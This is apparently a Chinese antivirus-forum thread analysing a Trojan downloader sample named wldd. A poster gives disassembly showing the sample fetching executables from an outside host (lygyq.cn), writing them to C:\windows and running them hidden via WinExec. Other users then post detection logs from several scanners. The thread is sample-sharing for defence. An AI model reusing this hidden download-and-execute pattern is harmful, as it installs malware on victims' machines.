嵌套下载者

promised

1. 003F4FEC |. 68 0C503F00 PUSH wldd.003F500C ; ASCII "C:\windows\wlddh.exe"
   
2. 003F4FF1 |. 68 24503F00 PUSH wldd.003F5024 ; ASCII "http://www.lygyq.cn/images/pic/wlddh.exe"
   
3. 003F4FF6 |. 6A 00 PUSH 0
   
4. 003F4FF8 |. E8 A3F3FFFF CALL
   
5. 003F4FFD |. 6A 00 PUSH 0 ; /ShowState = SW_HIDE
   
6. 003F4FFF |. 68 0C503F00 PUSH wldd.003F500C ; |CmdLine = "C:\windows\wlddh.exe"
   
7. 003F5004 |. E8 D7F2FFFF CALL ; \WinExec
   
8. 003F5009 \. C3 RETN

复制代码

后面一个

1. 003F4FEC |. 68 0C503F00 PUSH wldd.003F500C ; ASCII "C:\windows\wlddk.exe"
   
2. 003F4FF1 |. 68 24503F00 PUSH wldd.003F5024 ; ASCII "http://www.lygyq.cn/images/pic/wlddk.exe"
   
3. 003F4FF6 |. 6A 00 PUSH 0
   
4. 003F4FF8 |. E8 A3F3FFFF CALL
   
5. 003F4FFD |. 6A 00 PUSH 0 ; /ShowState = SW_HIDE
   
6. 003F4FFF |. 68 0C503F00 PUSH wldd.003F500C ; |CmdLine = "C:\windows\wlddk.exe"
   
7. 003F5004 |. E8 D7F2FFFF CALL ; \WinExec
   
8. 003F5009 \. C3 RETN

复制代码

失效了

promised

F-PROT Antivirus version 6.2.1
FRISK Software International (C) Copyright 1989-2007

Engine version: 4.3.3.49
Virus signatures: 200710182254b2ac0f29b5bd19f5ec2abdb035cc10af
                  (C:\Documents and Settings\All Users.WINDOWS\Application Data\FRISK Software\F-PROT Antivirus for Windows\antivir.def)

[Clean]    C:\ABC\wldd.rar:Zone.Identifier
[Found possible downloader] < (not disinfectable)>         C:\ABC\wldd.rar->wldd.dll
[Found possible virus] <W32/Threat-IKNP-based!Maximus (not disinfectable)>         C:\ABC\wldd.rar->wldd.exe
[Found possible virus] <W32/Threat-IKNP-based!Maximus (not disinfectable)>         C:\ABC\wldd.rar->wlddh.exe
[Found possible downloader] < (not disinfectable)>         C:\ABC\wldd.rar->wlddh1.dll
[Contains infected objects]        C:\ABC\wldd.rar


Results:

Files: 2
Skipped files: 0
MBR/boot sectors checked: 0
Objects scanned: 6
Infected objects: 4
Files with errors: 0
Disinfected: 0

无敌敏敏

Starting the file scan:

Begin scan in 'E:\wldd.rar'
E:\wldd.rar
  [0] Archive type: RAR
  --> wldd.dll
      [DETECTION] Is the Trojan horse TR/Delphi.Downloader.Gen
  --> wldd.exe
      [DETECTION] Is the Trojan horse TR/Delphi.Downloader.Gen
  --> wlddh.exe
      [DETECTION] Is the Trojan horse TR/Delphi.Downloader.Gen
  --> wlddh1.dll
      [DETECTION] Is the Trojan horse TR/Delphi.Downloader.Gen
      [INFO]      The file was deleted!

a750828

McAfee New Malware.u

欠妳緈諨

IllusionWing

All killed

UGuard Log (Digital Fox - gankeyu@126.com)
UGuarduu.exe = 4.3.3
HC0.rlb = 2.9.1
HC2.rlb = 2.4.0
FN0.rlb = 2.3.1
扫描选项：扫描档案, 扩展, 忽略非活动, 忽略大文件, nFile, BAT模拟, 捆绑检测, 变形壳, 启发,
[扫描] [nFile Detect 2] 在 F:\Users\Administrator\Desktop\新建文件夹\wldd.rar>>wldd.dll 检测到 Generic.nFile
[扫描] [nFile Detect 2] 在 F:\Users\Administrator\Desktop\新建文件夹\wldd.rar>>wldd.exe 检测到 Generic.nFile
[扫描] [变形壳检测] 在 F:\Users\Administrator\Desktop\新建文件夹\wldd.rar>>wlddh.exe 检测到 Packed.Generic.Modified
[扫描] [nFile Detect 2] 在 F:\Users\Administrator\Desktop\新建文件夹\wldd.rar>>wlddh1.dll 检测到 Generic.nFile
检测到了 4 个未知的恶意程序，请上报。
任务 扫描 完成。共耗费的时间：0-00-00 00:00:00:0093，共扫描的文件数量：5，共扫描到的威胁数量：4，威胁率：80%，扫描速率： 53.76 文件/秒，扫描速度： 1622.85 千字节/秒，共扫描了 150.92 千字节。

29159011

程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\WLDD\WLDD.EXE
木马程序生成以下文件:
1) C:\WINDOWS\SYSTEM32\WLDD.EXE
2) C:\WINDOWS\SYSTEM32\WLDD.DLL
是否删除木马程序及其衍生物?
程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\WLDD\WLDDH.EXE
木马程序生成以下文件:
1) C:\WINDOWS\SYSTEM32\WLDDH1.EXE
2) C:\WINDOWS\SYSTEM32\WLDDH1.DLL
是否删除木马程序及其衍生物?

残缺的唯美

deleted: Trojan program Trojan-Downloader.Win32.Agent.elv        File: C:\Users\Administrator\Desktop\wldd.rar/wldd.exe//NSPack
quarantined: virus Heur.Trojan.Generic (modification)        File: C:\Users\Administrator\Desktop\wldd.rar/wlddh.exe//NSPack

qigang

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.PSW.Win32.GameOnline.ga
病毒： Trojan.PSW.Win32.GameOnline.ga
病毒： Trojan.DL.Win32.Agent.wgh

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.16.42

uhthn2002

C:\Documents and Settings\Uhthn\Desktop\Viurs\wldd.dll : infected MalwareScope.Trojan-PSW.Game.7
C:\Documents and Settings\Uhthn\Desktop\Viurs\wldd.exe : infected MalwareScope.Trojan-PSW.Game.7
C:\Documents and Settings\Uhthn\Desktop\Viurs\wlddh.exe : infected MalwareScope.Trojan-PSW.Game.7
C:\Documents and Settings\Uhthn\Desktop\Viurs\wlddh1.dll : infected MalwareScope.Trojan-PSW.Game.7


Directories       : 0       Files in archives:      Files on disks:
Archives:                   - total       : 0       - total       : 4     
- scanned         : 0       -  scanned    : 0       - scanned     : 4     
- contain viruses : 0       -  infected   : 0       - infected    : 4     
- deleted         : 0       -  suspicious : 0       - suspicious  : 0     

Uhthn Anti-Spyware V3 Alpha
Version - 3.0.0
Standard Database - 786
Paranoia Database - 48413
Heuristics Analysis - Excessive
Scan in - C:\Documents and Settings\Uhthn\Desktop\Viurs

C:\Documents and Settings\Uhthn\Desktop\Viurs\wldd.dll - Suspected WIN32.BACKDOOR.HUPIGON.5
C:\Documents and Settings\Uhthn\Desktop\Viurs\wldd.exe - Infected MaliciousScope:WIN32.TROJAN-DOWNLOADER.AGENT.3 - Deleted
C:\Documents and Settings\Uhthn\Desktop\Viurs\wlddh.exe - Suspected MaliciousScope:WIN32.TROJAN-DOWNLOADER.DELF.1
C:\Documents and Settings\Uhthn\Desktop\Viurs\wlddh1.dll - Suspected WIN32.BACKDOOR.HUPIGON.5

4 Files scanned
1 Infected files found
3 Suspected files found
0 Files disinfected
1 Files deleted